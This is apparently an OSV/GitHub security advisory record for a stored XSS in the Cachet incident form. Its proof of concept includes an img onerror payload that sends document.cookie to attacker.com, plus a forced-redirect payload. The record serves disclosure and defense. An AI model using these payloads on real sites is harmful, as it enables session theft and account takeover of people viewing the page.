{"id":"GHSA-x397-5hrv-j9m9","aliases":["CVE-2026-113712"],"title":"Cachet has Stored XSS in Incident Component","description":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.\n\n### Details\nThe incident Name and Message fields do not properly sanitize HTML  event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.\n\nAffected endpoint: /dashboard/incidents/\nAffected fields: Incident Name, Incident Message\nAffected version: Cachet v3\n\n### PoC\n\n1. Log in as an authenticated user\n2. Navigate to /dashboard/incidents/\n3. Create a new incident\n4. Insert the following payloads in the Name and Message field:\n\nPayload 1 — Confirm XSS execution:\n```<img src=x onerror=\"alert(1)\">```\n\nStep 2 — Cookie/token exfiltration:\n```<img src=x onerror=\"fetch('http://attacker.com/leak?c='+document.cookie)\">```\n\nStep 3 — Forced redirect to sensitive page:\n```<img src=x onerror=\"window.location='/dashboard/manage-customization'\">```\n\n5. Save the incident\n6. Navigate to the public status page\n7. Payload executes in the victim's browser\n### Payload 1 \n<img width=\"1926\" height=\"1062\" alt=\"Screenshot_2026-05-05_21_19_21\" src=\"https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b\" />\n\n### Payload 2\n<img width=\"1910\" height=\"525\" alt=\"Screenshot_2026-05-07_12_22_07\" src=\"https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589\" />\n\n\n\nStored XSS affecting all users who view the public status page.\n\nAn attacker can:\n- Confirm script execution via alert popup\n- Steal session cookies and XSRF tokens from authenticated users\n- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`\n\nThis vulnerability could lead to full account takeover of any user who views the status page, including administrators.","severity":"medium","score":4.8,"published":"2026-10-20T21:09:40.000Z","modified":"2026-10-20T21:15:04.024Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"cachethq/cachet","ranges":[{"events":[{"introduced":"0"},{"last_affected":"2.4.1"}],"type":"ECOSYSTEM"}],"versions":["v0.1.0-alpha","v1.0.0","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v2.0.0","v2.0.0-RC1","v2.0.0-RC2","v2.0.0-RC3","v2.0.0-RC4","v2.0.0-RC5","v2.0.0-beta1","v2.0.0-beta2","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.0-RC1","v2.1.0-RC2","v2.1.1","v2.1.2","v2.2.0","v2.2.0-RC1","v2.2.1","v2.2.2","v2.2.3","v2.2.4","v2.3.0","v2.3.0-RC1","v2.3.0-RC2","v2.3.0-RC3","v2.3.0-RC4","v2.3.0-RC5","v2.3.0-RC6","v2.3.1","v2.3.10","v2.3.11","v2.3.12","v2.3.13","v2.3.14","v2.3.15","v2.3.16","v2.3.17","v2.3.18","v2.3.2","v2.3.3","v2.3.4","v2.3.5","v2.3.6","v2.3.7","v2.3.8","v2.3.9","v2.4.0","v2.4.1"],"fixed":[]}],"references":["https://github.com/cachethq/cachet/security/advisories/GHSA-x397-5hrv-j9m9","https://github.com/cachethq/core/commit/23adbb88ffa819f92be4a905ff1d812670d980a2","https://github.com/cachethq/core/commit/57b44a8bac0b250b0d5751e93e0349070d14606e","https://github.com/cachethq/cachet"],"sources":[{"name":"OSV","id":"GHSA-x397-5hrv-j9m9","modified":"2026-10-20T21:15:04.024300311Z","url":"https://osv.dev/vulnerability/GHSA-x397-5hrv-j9m9"}],"assessments":[{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","score":4.8}]}